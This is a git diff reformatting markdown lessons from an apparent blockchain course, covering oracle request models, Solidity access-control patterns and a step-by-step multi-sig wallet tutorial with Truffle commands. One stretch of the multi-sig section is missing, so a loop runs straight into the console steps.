[here.](https://medium.com/fabric-ventures/decentralised-oracles-a-comprehensive-overview-d3168b9a8841){target=_blank} +Services such as Chainlink have built more decentralized networks to hedge against the centralization of trust, you can read more about how Chainlink does that [here](https://docs.chain.link/docs/architecture-decentralized-model/){target=\_blank} and see an overview of decentralized oracles [here](https://medium.com/fabric-ventures/decentralised-oracles-a-comprehensive-overview-d3168b9a8841){target=\_blank}. ## Basic Oracle Mechanism At its most basic, a smart contract using an oracle needs to implement a method to: -1. Make the request to the oracle, and -2. Receive the oracle's response from a callback method +1. Make the request to the oracle, and +2. Receive the oracle's response from a callback method -This is often known as the [request and receive](https://docs.chain.link/docs/architecture-request-model/){target=_blank} model of oracles. Unless you've setup the service yourself, external calls to oracles typically require a fee attached to provide the data to your contract. +This is often known as the [request and receive](https://docs.chain.link/docs/architecture-request-model/){target=\_blank} model of oracles. Unless you've setup the service yourself, external calls to oracles typically require a fee attached to provide the data to your contract. -There are multiple ways to achieve this; let's look at a simplified version of this [example](https://github.com/provable-things/ethereum-examples/blob/c0431a147f24519a135d07f9d5c17db73498e0e7/solidity/DieselPrice.sol){target=_blank} using [Provable](https://docs.provable.xyz){target=_blank} below: +There are multiple ways to achieve this; let's look at a simplified version of this [example](https://github.com/provable-things/ethereum-examples/blob/c0431a147f24519a135d07f9d5c17db73498e0e7/solidity/DieselPrice.sol){target=\_blank} using [Provable](https://docs.provable.xyz){target=\_blank} below: -
import "github.com/provable-things/ethereum-api/provableAPI.sol";
+```javascript
+import "github.com/provable-things/ethereum-api/provableAPI.sol";
 
 contract DieselPrice is usingProvable {
     uint dieselPriceUSD;
@@ -49,7 +50,8 @@ contract DieselPrice is usingProvable {
         dieselPriceUSD = parseInt(result);
     }
 }
-
+ +``` In this code, we're calling the Provable API for the price of diesel when we create the contract. The first query is free, but we'll have to provide ETH to pay for our requests moving forward. The call triggers an event, which lets the Provable contract pull from its off-chain data feed and provide our contract the result. The contract stores that value in `dieselPriceUSD`. @@ -59,12 +61,11 @@ The overall model is for your contract to emit an event, either to another contr In the above example, we looked at pulling data from a single source and provider. Stringing requests like this together can make us have a more decentralized application, but we would still be routing it through the same organization. -Let's look at another example of pulling data in a decentralized context, for example, from a [Chainlink data feed.](https://docs.chain.link/docs/using-chainlink-reference-contracts/){target=_blank} - -You can see the most up to date version of this code in the [Chainlink documentation.](https://docs.chain.link/docs/get-the-latest-price/){target=_blank} +Let's look at another example of pulling data in a decentralized context, for example, from a [Chainlink data feed.](https://docs.chain.link/docs/using-chainlink-reference-contracts/){target=\_blank} -
+You can see the most up to date version of this code in the [Chainlink documentation.](https://docs.chain.link/docs/get-the-latest-price/){target=\_blank}
 
+```bash
 pragma solidity ^0.6.7;
 
 import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
@@ -87,7 +88,7 @@ contract PriceConsumerV3 {
      */
     function getThePrice() public view returns (int) {
         (
-            uint80 roundID, 
+            uint80 roundID,
             int price,
             uint startedAt,
             uint timeStamp,
@@ -96,22 +97,22 @@ contract PriceConsumerV3 {
         return price;
     }
 }
+```
 
-
+In this example, we are pulling the price of Ethereum in terms of the United States Dollar into our smart contract. We do this by querying another contract that has already followed the basic request model among many different oracles and data providers. It's important that the network is using different data providers and oracles so that there is never a single authority point. -In this example, we are pulling the price of Ethereum in terms of the United States Dollar into our smart contract. We do this by querying another contract that has already followed the basic request model among many different oracles and data providers. It's important that the network is using different data providers and oracles so that there is never a single authority point. +You can see a visualization of this contract and the different nodes gathering the data for them at [data.chain.link](https://data.chain.link/ethereum/mainnet/crypto-usd/eth-usd){target=\_blank}. -You can see a visualization of this contract and the different nodes gathering the data for them at [data.chain.link.](https://data.chain.link/ethereum/mainnet/crypto-usd/eth-usd){target=_blank} - -## Summary +## Summary The oracle ecosystem is growing as fast as blockchain, and we'll touch on it more later in the course. For now, it's important to see how oracles allow us to cross the "trust boundary" of blockchains, what trust assumptions that requires, and the basic design pattern for incorporating this data stream. + ## Additional Material -*[Wiki: Oracles (Ethereum.org)](https://ethereum.org/en/developers/docs/oracles/){target=_blank} A great overview of oracles on Ethereum with demo code for Chainlink -*[Wikipedia: Blockchain Oracle](https://en.wikipedia.org/wiki/Blockchain_oracle){target=_blank} -*[Docs: Chainlink](https://docs.chain.link/){target=_blank} A really well-curated series of docs outline how to get started with Chainlink and the different services and networks available. -*[Tutorial: Implementing a Blockchain Oracle on Ethereum](https://medium.com/@pedrodc/implementing-a-blockchain-oracle-on-ethereum-cedc7e26b49e){target=_blank} -* [Code: Provable Things Ethereum Examples](https://github.com/provable-things/ethereum-examples/tree/master/solidity){target=_blank} A collection of examples from Provable Things, a bit dated but can still provide a source of reference. -* [Academic Article: A Study of Blockchain Oracles](https://arxiv.org/pdf/2004.07140.pdf){target=_blank} A technical examination of blockchain oracles referenced in the blockchain oracles Wikipedia page. -*[Article: So You Want to Use a Price Oracle](https://samczsun.com/so-you-want-to-use-a-price-oracle/){target=_blank} Interesting article (albeit about on-chain oracles) discussing attack vectors. +- [Wiki: Oracles (Ethereum.org)](https://ethereum.org/en/developers/docs/oracles/){target=\_blank} A great overview of oracles on Ethereum with demo code for Chainlink +- [Wikipedia: Blockchain Oracle](https://en.wikipedia.org/wiki/Blockchain_oracle){target=\_blank} +- [Docs: Chainlink](https://docs.chain.link/){target=\_blank} A really well-curated series of docs outline how to get started with Chainlink and the different services and networks available. +- [Tutorial: Implementing a Blockchain Oracle on Ethereum](https://medium.com/@pedrodc/implementing-a-blockchain-oracle-on-ethereum-cedc7e26b49e){target=\_blank} +- [Code: Provable Things Ethereum Examples](https://github.com/provable-things/ethereum-examples/tree/master/solidity){target=\_blank} A collection of examples from Provable Things, a bit dated but can still provide a source of reference. +- [Academic Article: A Study of Blockchain Oracles](https://arxiv.org/pdf/2004.07140.pdf){target=\_blank} A technical examination of blockchain oracles referenced in the blockchain oracles Wikipedia page. +- [Article: So You Want to Use a Price Oracle](https://samczsun.com/so-you-want-to-use-a-price-oracle/){target=\_blank} Interesting article (albeit about on-chain oracles) discussing attack vectors. diff --git a/docs/S03-smart-contracts/M4-design-patterns/L5-access-control/index.md b/docs/S03-smart-contracts/M4-design-patterns/L5-access-control/index.md index acd814a9..880b40d3 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L5-access-control/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L5-access-control/index.md @@ -1,5 +1,4 @@ -Access Control Design Patterns -============================== +# Access Control Design Patterns Access Control is a broad term. Most generally, it means who is allowed to do what on your smart contract. Who is allowed to mint new tokens, create a new pointer contract or release funds, for example. @@ -7,13 +6,12 @@ We'll be looking at Access Control from a Solidity and coding standpoint, but Ac Keep this in mind as we go through these different examples and a teaser for our later sections on DAOs. -Restricting Access and `Ownable` --------------------------------- +## Restricting Access and `Ownable` -A very simple form of access control is making contract state private. You cannot prevent people or computer programs from reading your contracts’ state. The state is publicly available information for anyone with access to the blockchain. However, you *can* restrict other contracts’ access to the state by making state variables private, like in the basic example below: +A very simple form of access control is making contract state private. You cannot prevent people or computer programs from reading your contracts’ state. The state is publicly available information for anyone with access to the blockchain. However, you _can_ restrict other contracts’ access to the state by making state variables private, like in the basic example below: -``` -contract C1 { +```javascript +contract C1 { uint private internalNum; } ``` @@ -24,116 +22,113 @@ A broader form of access control is the `Ownable` design pattern, the "Hello, Wo As we learned earlier, function modifiers allow us to reuse code and increase contract readability. We can also use them to restrict access based on the Ownable model: -``` -address owner; +```javascript +address owner; -constructor() payable public { - owner = msg.sender; -} +constructor() payable public { + owner = msg.sender; +} -modifier onlyOwner() { - require(msg.sender == owner, "Not authorized."); - _; -} +modifier onlyOwner() { + require(msg.sender == owner, "Not authorized."); + _; +} -function withdraw(uint _amount) onlyOwner public { - owner.transfer(_amount); -} +function withdraw(uint _amount) onlyOwner public { + owner.transfer(_amount); +} ``` The above code declares the variable `owner` and assigns that role to whoever is creating the contract, using the `msg.sender` global variable. We then declare a modifier `onlyOwner()`, which establishes a security check at the top of each function we assign it. Using the modifier syntax, we require a check of the identity of the transaction sender to see if it matches the declared `owner`. We then place this modifier in front of whichever functions we want to restrict access to. In this case, we're adding it to the `withdraw()` function (which makes sense, as we don't want anyone to be able to drain our contract of value!). This makes it so that the only user who can access this specific function is `owner`, all other addresses will fail. -A common contract used for this is OpenZeppelin's [Ownable.sol](https://docs.openzeppelin.com/contracts/2.x/api/ownership#Ownable){target=_blank}, which also lets you `transferOwnership` to another user or `renounceOwnership` if your contract only requires central authority for a certain period of time. +A common contract used for this is OpenZeppelin's [Ownable.sol](https://docs.openzeppelin.com/contracts/2.x/api/ownership#Ownable){target=\_blank}, which also lets you `transferOwnership` to another user or `renounceOwnership` if your contract only requires central authority for a certain period of time. Please note that the Ownable pattern is a bit fragile: it can become a single point of failure and is not very sophisticated in terms of Access Control. -Pausable --------- +## Pausable -Another form of access control has to do with turning the smart contract itself into a state machine. As we mentioned earlier in the distributed consensus section, [a state machine](https://en.wikipedia.org/wiki/Finite-state_machine){target=_blank} can be in one of a finite number of states at any time. +Another form of access control has to do with turning the smart contract itself into a state machine. As we mentioned earlier in the distributed consensus section, [a state machine](https://en.wikipedia.org/wiki/Finite-state_machine){target=\_blank} can be in one of a finite number of states at any time. -To make the smart contract a state machine, we'll use the `enum` variable type to create a series of possible states. To have access control, we'll then assign only certain functions to run when the contract is in a certain state. Here's what this looks like in Solidity, where the possible states are `Deposits` and `Withdraws` and the state changes after a time of 30 days from the contract's `creationTime`: +To make the smart contract a state machine, we'll use the `enum` variable type to create a series of possible states. To have access control, we'll then assign only certain functions to run when the contract is in a certain state. Here's what this looks like in Solidity, where the possible states are `Deposits` and `Withdraws` and the state changes after a time of 30 days from the contract's `creationTime`: -``` -enum Stages { Deposits, Withdraws } -Stages stage = Stages.Deposits; -mapping(address => uint) balances; -uint creationTime = now; - -function deposit() payable public { - require(stage == Stages.Deposits && msg.value > 0); - balances[msg.sender] += msg.value; -} - -function withdraw() public { - if(stage != Stages.Withdraws && now >= creationTime + 30 days) { - stage = Stages.Withdraws; - } - require(stage == Stages.Withdraws && balances[msg.sender] > 0); - uint amount = balances[msg.sender]; - balances[msg.sender] = 0; - msg.sender.transfer(amount); -} +```javascript +enum Stages { Deposits, Withdraws } +Stages stage = Stages.Deposits; +mapping(address => uint) balances; +uint creationTime = now; + +function deposit() payable public { + require(stage == Stages.Deposits && msg.value > 0); + balances[msg.sender] += msg.value; +} + +function withdraw() public { + if(stage != Stages.Withdraws && now >= creationTime + 30 days) { + stage = Stages.Withdraws; + } + require(stage == Stages.Withdraws && balances[msg.sender] > 0); + uint amount = balances[msg.sender]; + balances[msg.sender] = 0; + msg.sender.transfer(amount); +} ``` -The deposit() function can only be called when the `stage` enum is in `Deposits`. After 30 days has passed, the contract transitions into `Withdraws` whenever someone calls `withdraw()`. +The deposit() function can only be called when the `stage` enum is in `Deposits`. After 30 days has passed, the contract transitions into `Withdraws` whenever someone calls `withdraw()`. -For an example of this example, ["The DAO"](https://github.com/blockchainsllc/DAO){target=_blank} contract required 27 days between a successful request to split the DAO and the ability to do so. This ensured the funds were kept within the contract, increasing the likelihood of recovery. +For an example of this example, ["The DAO"](https://github.com/blockchainsllc/DAO){target=\_blank} contract required 27 days between a successful request to split the DAO and the ability to do so. This ensured the funds were kept within the contract, increasing the likelihood of recovery. -We have another example of this form of access control with the Circuit Breaker design pattern, also called Emergency Stop or Pausable. Circuit Breakers are design patterns that allow contract functionality to be stopped. This would be desirable in situations where there is a live contract where a bug has been detected. Freezing the contract would be beneficial for reducing harm before a fix can be implemented. Here's what it looks like in Solidity: - -``` -contract CircuitBreaker { - bool public stopped = false; - - modifier stopInEmergency { require(!stopped); _; } - modifier onlyInEmergency { require(stopped); _; } - function deposit() stopInEmergency public { 
 } - function withdraw() onlyInEmergency public { 
 } -} +We have another example of this form of access control with the Circuit Breaker design pattern, also called Emergency Stop or Pausable. Circuit Breakers are design patterns that allow contract functionality to be stopped. This would be desirable in situations where there is a live contract where a bug has been detected. Freezing the contract would be beneficial for reducing harm before a fix can be implemented. Here's what it looks like in Solidity: + +```javascript +contract CircuitBreaker { + bool public stopped = false; + + modifier stopInEmergency { require(!stopped); _; } + modifier onlyInEmergency { require(stopped); _; } + function deposit() stopInEmergency public { 
 } + function withdraw() onlyInEmergency public { 
 } +} ``` Circuit breaker contracts can be set up to permit certain functions in certain situations. For example, if you are implementing a withdrawal pattern, you might want to stop people from depositing funds into the contract if a bug has been detected, while still allowing accounts with balances to withdraw their funds. In a situation such as this, you would also want to restrict access to the accounts that can modify the stopped state variable, maybe to the contract owner (such as multisig wallet) or a set of admins. -Here's another example, with three separate states that dictate certain rules to be followed: +Here's another example, with three separate states that dictate certain rules to be followed: -``` +```javascript bool isStopped = false; address owner; -constructor() payable public { +constructor() payable public { owner = msg.sender; } -function stopContract() public { - require(msg.sender == owner); +function stopContract() public { + require(msg.sender == owner); isStopped = true; } -function resumeContract() public { - require(msg.sender == owner) +function resumeContract() public { + require(msg.sender == owner) isStopped = false; } -function emergencyWithdraw() public { - require(msg.sender == owner && isStopped); +function emergencyWithdraw() public { + require(msg.sender == owner && isStopped); owner.transfer(this.balance); } ``` - -Role-Based Access Control -------------------------- + +## Role-Based Access Control Role-based access control is a more layered approach to access control to meet the more varied demands of a smart contract or application. It follows a similar trend in software development access: Certain individuals are administrators, others are contributors, others can just view the code. -OpenZeppelin advocates using their role-based access control library, `[Roles.sol,](https://docs.openzeppelin.com/contracts/2.x/api/access#Roles){target=_blank}` instead of `Ownable.sol`. They've also implemented roles-based access control in contracts, such as ERC20Mintable.sol, which has a `MinterRole` allowed to create new tokens. You can read more about their approach to role-based access control [in this post here.](https://docs.openzeppelin.com/contracts/2.x/access-control){target=_blank} +OpenZeppelin advocates using their role-based access control library, [Roles.sol](https://docs.openzeppelin.com/contracts/2.x/api/access#Roles){target=\_blank}, instead of `Ownable.sol`. They've also implemented roles-based access control in contracts, such as ERC20Mintable.sol, which has a `MinterRole` allowed to create new tokens. You can read more about their approach to role-based access control [in this post here](https://docs.openzeppelin.com/contracts/2.x/access-control){target=\_blank}. Role-based access control can be critical to developing code-based governance, such as in a DAO. Keep this design pattern in mind when we discuss DAOs later! -Additional Resources --------------------- +## Additional Resources -* [Wiki: Access Control](https://docs.openzeppelin.com/contracts/2.x/access-control){target=_blank} A comprehensive article from OpenZeppelin about Access Control design patterns and how contracts in their repository enacts different patterns. -* [Code: OpenZeppelin's Ownable.sol](https://docs.openzeppelin.com/contracts/2.x/api/ownership#Ownable){target=_blank} -* [Code: OpenZeppelin's Pausable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/security/Pausable.sol){target=_blank} +- [Wiki: Access Control](https://docs.openzeppelin.com/contracts/2.x/access-control){target=\_blank} A comprehensive article from OpenZeppelin about Access Control design patterns and how contracts in their repository enacts different patterns. +- [Code: OpenZeppelin's Ownable.sol](https://docs.openzeppelin.com/contracts/2.x/api/ownership#Ownable){target=\_blank} +- [Code: OpenZeppelin's Pausable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/security/Pausable.sol){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L6-general-finance/index.md b/docs/S03-smart-contracts/M4-design-patterns/L6-general-finance/index.md index f56667f4..3a06d738 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L6-general-finance/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L6-general-finance/index.md @@ -1,246 +1,235 @@ -General Finance: Multi-Sig -========================== +# General Finance: Multi-Sig -This section is a tutorial setting up a Multi-Sig contract, which functions as a store of value (it's called a "wallet" in the traditional sense of something that holds money, not a crypto-wallet like MetaMask). It is based on [this project](https://github.com/ConsenSys-Academy/multisig-wallet-exercise/blob/master/Multisig_wallet_info.md){target=_blank} by Nate Rush. +This section is a tutorial setting up a Multi-Sig contract, which functions as a store of value (it's called a "wallet" in the traditional sense of something that holds money, not a crypto-wallet like MetaMask). It is based on [this project](https://github.com/ConsenSys-Academy/multisig-wallet-exercise/blob/master/Multisig_wallet_info.md){target=\_blank} by Nate Rush. -The solution is based on [this MultiSignature Wallet](https://github.com/ConsenSys/MultiSigWallet){target=_blank} found in the ConsenSys github repository. +The solution is based on [this MultiSignature Wallet](https://github.com/ConsenSys/MultiSigWallet){target=\_blank} found in the ConsenSys github repository. -You can find the GitHub repository for this exercise [here](https://github.com/ConsenSys-Academy/multisig-wallet-exercise){target=_blank}. +You can find the GitHub repository for this exercise [here](https://github.com/ConsenSys-Academy/multisig-wallet-exercise){target=\_blank}. -What is a Multi-signature wallet? ---------------------------------- +## What is a Multi-signature wallet? -A multi-signature wallet is an account that requires some [m-of-n quorum](https://www.sunflower-cissp.com/glossary/cissp/3455/m-of-n-control){target=_blank} of approved private keys to approve a transaction before it is executed. +A multi-signature wallet is an account that requires some [m-of-n quorum](https://www.sunflower-cissp.com/glossary/cissp/3455/m-of-n-control){target=\_blank} of approved private keys to approve a transaction before it is executed. In Ethereum, multi-signature wallets are implemented as a smart contract, where each of the approved external accounts sends a transaction to in order to "sign" a group transaction. Following this project spec designed by the UPenn Blockchain Club, you will now create your own multisignature wallet contract. -**Note: While it is useful to know how to create a multisignature wallet, if you ever want to use one for real world applications with real funds, make sure you use a far more deeply audited one such as the [Gnosis multisignature wallet.](https://gnosis-safe.io/){target=_blank}** +**Note: While it is useful to know how to create a multisignature wallet, if you ever want to use one for real world applications with real funds, make sure you use a far more deeply audited one such as the [Gnosis multisignature wallet](https://gnosis-safe.io/){target=\_blank}**. -Project Setup -------------- +## Project Setup -Clone this GitHub repository. The [MultiSignatureWallet.sol](https://github.com/ConsenSys-Academy/multisig-wallet-exercise/blob/master/contracts/MultiSignatureWallet.sol){target=_blank} file in the contracts directory has the structure of a multisignature wallet that you will be implementing. +Clone this GitHub repository. The [MultiSignatureWallet.sol](https://github.com/ConsenSys-Academy/multisig-wallet-exercise/blob/master/contracts/MultiSignatureWallet.sol){target=\_blank} file in the contracts directory has the structure of a multisignature wallet that you will be implementing. -Implementing the Contract -------------------------- +## Implementing the Contract Copy the contents of the MultiSignatureWallet.sol file found in the project directory into Remix, Truffle, or whatever smart contract IDE you prefer. Let's review what this contract needs to be able to do before we start writing the code: -* The contract will have **multiple owners** who will determine which transactions the contract is allowed to execute. -* Contract owners need to be able to **propose transactions** that other owners can either **confirm** or **revoke**. -* If a proposed transaction receives enough support, it will be executed. +- The contract will have **multiple owners** who will determine which transactions the contract is allowed to execute. +- Contract owners need to be able to **propose transactions** that other owners can either **confirm** or **revoke**. +- If a proposed transaction receives enough support, it will be executed. Keeping these requirements in mind, let's go through the contract stub and start implementing this functionality. -Constructor ------------ +## Constructor Starting with the constructor, you can see that with the latest solidity compiler version, using the contract name as the constructor name has been deprecated, so let's change it to constructor. -``` -constructor(address[] memory _owners, uint _required) +```javascript +constructor(address[] memory _owners, uint _required) ``` We need to check the user inputs to the constructor to make sure that a user does not require more confirmations than there are owners, that the contract requires at least one confirmation before sending a transaction and that the owner array contains at least one address. We can create a modifier that checks these conditions -``` -modifier validRequirement(uint ownerCount, uint _required) { - if ( _required > ownerCount || _required == 0 || ownerCount == 0) - revert(); - _; -} +```javascript +modifier validRequirement(uint ownerCount, uint _required) { + if ( _required > ownerCount || _required == 0 || ownerCount == 0) + revert(); + _; +} ``` And call it when the constructor runs. -``` -constructor(address[] memory _owners, uint _required) public - validRequirement(_owners.length, _required){...} +```javascript +constructor(address[] memory _owners, uint _required) public + validRequirement(_owners.length, _required){...} ``` We are going to want to keep the `_owners` and `_required` values for the life of the contract, so we need to declare the variables in storage in order to save them. -``` -address[] public owners; -uint public required; -mapping (address => bool) public isOwner; +```javascript +address[] public owners; +uint public required; +mapping (address => bool) public isOwner; ``` We also added a mapping of owner addresses to booleans so that we can quickly reference (without having to loop over the owners array) whether a specific address is an owner or not. All of these variables will be set in the constructor. -``` -constructor(address[] memory _owners, uint _required) public - validRequirement(_owners.length, _required) -{ - for (uint i=0; i<_owners.length; i++) { - isOwner[_owners[i]] = true; - } - owners = _owners; - required = _required; -} +```javascript +constructor(address[] memory _owners, uint _required) public + validRequirement(_owners.length, _required) +{ + for (uint i=0; i<_owners.length; i++) { + isOwner[_owners[i]] = true; + } + owners = _owners; + required = _required; +} ``` -Submit Transaction ------------------- +## Submit Transaction The `submitTransaction` function allows an owner to submit and confirm a transaction. First we need to restrict this function to only be callable by an owner. -``` -require(isOwner[msg.sender]); +```javascript +require(isOwner[msg.sender]); ``` Looking at the rest of the contract stub, you will notice that there are two other functions in the contract that can help you implement this function, one is called `addTransaction` that takes the same inputs as `submitTransaction` and returns a `uint transactionId`. The other is called `confirmTransaction` that takes a `uint transactionId`. We can easily implement `submitTransaction` with the help of these other functions: -``` -function submitTransaction(address destination, uint value, bytes memory data) - public returns (uint transactionId) -{ - require(isOwner[msg.sender]); - transactionId = addTransaction(destination, value, data); - confirmTransaction(transactionId); -} +```javascript +function submitTransaction(address destination, uint value, bytes memory data) + public returns (uint transactionId) +{ + require(isOwner[msg.sender]); + transactionId = addTransaction(destination, value, data); + confirmTransaction(transactionId); +} ``` -Add Transaction ---------------- +## Add Transaction Let's jump to the `addTransaction` function and implement that. This function adds a new transaction to the transaction mapping (which we are about to create), if the transaction does not exist yet. +```javascript +function addTransaction(address destination, uint value, bytes memory data) + internal + returns (uint transactionId); ``` -function addTransaction(address destination, uint value, bytes memory data) - internal - returns (uint transactionId); -``` - + A transaction is a data structure that is defined in the contract stub. -``` -struct Transaction { - address destination; - uint value; - bytes data; - bool executed; -} +```javascript +struct Transaction { + address destination; + uint value; + bytes data; + bool executed; +} ``` We need to store the inputs to the `addTransaction` function in a Transaction struct and create a transaction id for the transaction. Let's create two more storage variables to keep track of the transaction IDs and transaction mapping. -``` -uint public transactionCount; -mapping (uint => Transaction) public transactions; +```javascript +uint public transactionCount; +mapping (uint => Transaction) public transactions; ``` In the `addTransaction` function we can get the transaction count, store the transaction in the mapping and increment the count. This function modifies the state so it is a good practice to emit an event. We will emit a `Submission` event that takes a `transactionId`. Let's define the event first. Events are usually defined at the top of a Solidity contract, so that is what we will do. Add this line just below the contract declaration. -``` -event Submission(uint indexed transactionId); +```javascript +event Submission(uint indexed transactionId); ``` -The ***indexed*** keyword in the event declaration makes the event easily searchable and is useful when building user interfaces that need to parse lots of events. +The **_indexed_** keyword in the event declaration makes the event easily searchable and is useful when building user interfaces that need to parse lots of events. In the function body we can call the event. -``` -function addTransaction(address destination, uint value, bytes memory data) - internal - returns (uint transactionId) -{ - transactionId = transactionCount; - transactions[transactionId] = Transaction({ - destination: destination, - value: value, - data: data, - executed: false - }); - transactionCount += 1; - emit Submission(transactionId); +```javascript +function addTransaction(address destination, uint value, bytes memory data) + internal + returns (uint transactionId) +{ + transactionId = transactionCount; + transactions[transactionId] = Transaction({ + destination: destination, + value: value, + data: data, + executed: false + }); + transactionCount += 1; + emit Submission(transactionId); } ``` The `uint transactionId` is returned from the `addTransaction` function to hand over to the `confirmTransaction` function. -Confirm Transaction -------------------- +## Confirm Transaction -``` -function confirmTransaction(uint transactionId) public {} +```javascript +function confirmTransaction(uint transactionId) public {} ``` The confirm transaction function allows an owner to confirm an added transaction. This requires another storage variable, a confirmations mapping that stores a mapping of boolean values at owner addresses. This variable keeps track of which owner addresses has confirmed which transactions. -``` -mapping (uint => mapping (address => bool)) public confirmations; +```javascript +mapping (uint => mapping (address => bool)) public confirmations; ``` There are several checks that we will want to verify before we execute this transaction. First, only wallet owners should be able to call this function. Second, we will want to verify that a transaction exists at the specified `transactionId`. Last, we want to verify that the `msg.sender` has not already confirmed this transaction. - -``` -require(isOwner[msg.sender]); -require(transactions[transactionId].destination != address(0)); -require(confirmations[transactionId][msg.sender] == false); +```javascript +require(isOwner[msg.sender]); +require(transactions[transactionId].destination != address(0)); +require(confirmations[transactionId][msg.sender] == false); ``` Once the transaction receives the required number of confirmations, the transaction should execute, so once the appropriate boolean is set to true +```javascript +confirmations[transactionId][msg.sender] = true; ``` -confirmations[transactionId][msg.sender] = true; -``` - + Since we are modifying the state in this function, it is a good practice to log an event. First, we define the event called `Confirmation` that logs the confirmers address as well as the `transactionId` of the transaction that they are confirming. +```javascript +event Confirmation(address indexed sender, uint indexed transactionId); ``` -event Confirmation(address indexed sender, uint indexed transactionId); -``` - + Both of these event parameters are indexed to make the event more easily searchable. Now we can call the event in the function. After logging the event we can attempt to execute the transaction -``` -executeTransaction(transactionId); +```javascript +executeTransaction(transactionId); ``` So the entire function should look like this: +```javascript +function confirmTransaction(uint transactionId) public +{ + require(isOwner[msg.sender]); + require(transactions[transactionId].destination != address(0)); + require(confirmations[transactionId][msg.sender] == false); + confirmations[transactionId][msg.sender] = true; + emit Confirmation(msg.sender, transactionId); + executeTransaction(transactionId); +} ``` -function confirmTransaction(uint transactionId) public -{ - require(isOwner[msg.sender]); - require(transactions[transactionId].destination != address(0)); - require(confirmations[transactionId][msg.sender] == false); - confirmations[transactionId][msg.sender] = true; - emit Confirmation(msg.sender, transactionId); - executeTransaction(transactionId); -} -``` - -Execute Transaction -------------------- +## Execute Transaction The execute transaction function takes a single parameter, the `transactionId`. First, we want to make sure that the Transaction at the specified id has not already been executed. -``` -require(transactions[transactionId].executed == false); +```javascript +require(transactions[transactionId].executed == false); ``` Then we want to verify that the transaction has at least the required number of confirmations. @@ -249,66 +238,63 @@ To do this we will loop over the owners array and count how many of the owners h Now define a helper function isConfirmed, which we can call from the `executeTransaction` function. - -``` -function isConfirmed(uint transactionId) - public - view - returns (bool) -{ - uint count = 0; - for (uint i=0; i +```bash +truffle(develop)> ``` Deploy the contracts -``` -truffle(develop)> migrate +```bash +truffle(develop)> migrate ``` If `migrate` does not work, try `migrate --reset`. And then get the deployed instances of the SimpleStorage.sol and MultiSignatureWallet.sol contracts. -``` -truffle(develop)> var ss = await SimpleStorage.at(SimpleStorage.address) -truffle(develop)> var ms = await MultiSignatureWallet.at(MultiSignatureWallet.address) +```bash +truffle(develop)> var ss = await SimpleStorage.at(SimpleStorage.address) +truffle(develop)> var ms = await MultiSignatureWallet.at(MultiSignatureWallet.address) ``` Check the state of the SimpleStorage contract -``` -truffle(develop)> ss.storedData.call() - +```bash +truffle(develop)> ss.storedData.call() + ``` This means that it is 0. You can verify by waiting for the promise to resolve and converting the answer to a string. Try it with: -``` -ss.storedData.call().then(res => { console.log( res.toString(10) )} ) -0 +```javascript +ss.storedData.call().then((res) => { + console.log(res.toString(10)); +}); +0; ``` Let's submit a transaction to update the state of the SimpleStorage contract to the MultiSig contract. `SumbitTransaction` takes the address of the destination contract, the value to send with the transaction and the transaction data, which includes the encoded function signature and input parameters. If we want to update the SimpleStorage contract data to be 5, the encoded function signature and input parameters would look like this: -``` -var encoded = '0x60fe47b10000000000000000000000000000000000000000000000000000000000000005' +```javascript +var encoded = + "0x60fe47b10000000000000000000000000000000000000000000000000000000000000005"; ``` Let's get the available accounts and then make a call to the MultiSig contract: -``` -truffle(develop)> var accounts = await web3.eth.getAccounts() -truffle(develop)> ms.submitTransaction(ss.address, 0, encoded, {from: accounts[0]}) +```bash +truffle(develop)> var accounts = await web3.eth.getAccounts() +truffle(develop)> ms.submitTransaction(ss.address, 0, encoded, {from: accounts[0]}) ``` And we see the transaction information printed in the terminal window. In the logs, we can see that a “Submission” event was fired, as well as a “Confirmation” event, which is what we expect. The current state of the MultiSig has one transaction that has not been executed and has one confirmation (from the address that submitted it). One more confirmation should cause the transaction to execute. Let's use the second account to confirm it. The `confirmTransaction` function takes one input, the index of the Transaction to confirm. -``` -truffle(develop)> ms.confirmTransaction(0, {from: accounts[1]}) +```bash +truffle(develop)> ms.confirmTransaction(0, {from: accounts[1]}) ``` The transaction information is printed in the terminal. You should see two log events this time as well. A “Confirmation” event as well as an “Execution” event. This indicates that the call to SimpleStorage executed successfully. If it didn't execute successfully, we would see an “ExecutionFailure” event there instead. We can verify that the state of the contract was updated by running -``` -truffle(develop)> ss.storedData.call() +```bash +truffle(develop)> ss.storedData.call() ``` The `storedData` is now 5. And we can check that the address that updated the SimpleStorage contract was the MultiSig Wallet. -``` -truffle(develop)> ss.caller.call() ‘0x855d1c79ad3fb086d516554dc7187e3fdfc1c79a' -truffle(develop)> ms.address ‘0x855d1c79ad3fb086d516554dc7187e3fdfc1c79a' +```bash +truffle(develop)> ss.caller.call() ‘0x855d1c79ad3fb086d516554dc7187e3fdfc1c79a' +truffle(develop)> ms.address ‘0x855d1c79ad3fb086d516554dc7187e3fdfc1c79a' ``` The two addresses are the same! Congratulations! You've just built a multi-sig wallet that uses basic access control! - diff --git a/docs/S03-smart-contracts/M4-design-patterns/L7-upgradable-contracts/index.md b/docs/S03-smart-contracts/M4-design-patterns/L7-upgradable-contracts/index.md index cc3092a0..7c6840c1 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L7-upgradable-contracts/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L7-upgradable-contracts/index.md @@ -1,6 +1,6 @@ -Additional Resources: +# Upgradable Contracts -1. [Software Engineering techniques - ConsenSys](https://consensys.github.io/smart-contract-best-practices/software_engineering/) -2. [Upgradability in an Immutable World](https://blog.polymath.network/upgradability-in-an-immutable-world-27c76926629b) -3. [Summary of Ethereum Upgradeable Smart Contract R&D](https://blog.indorse.io/ethereum-upgradeable-smart-contract-strategies-456350d0557c) -4. [Diamond Contracts -- interesting variation on upgradability patterns](https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189) +1. [ConsenSys: Smart contract best practices](https://consensys.github.io/smart-contract-best-practices/){target=\_blank} +2. [Upgradeability in an 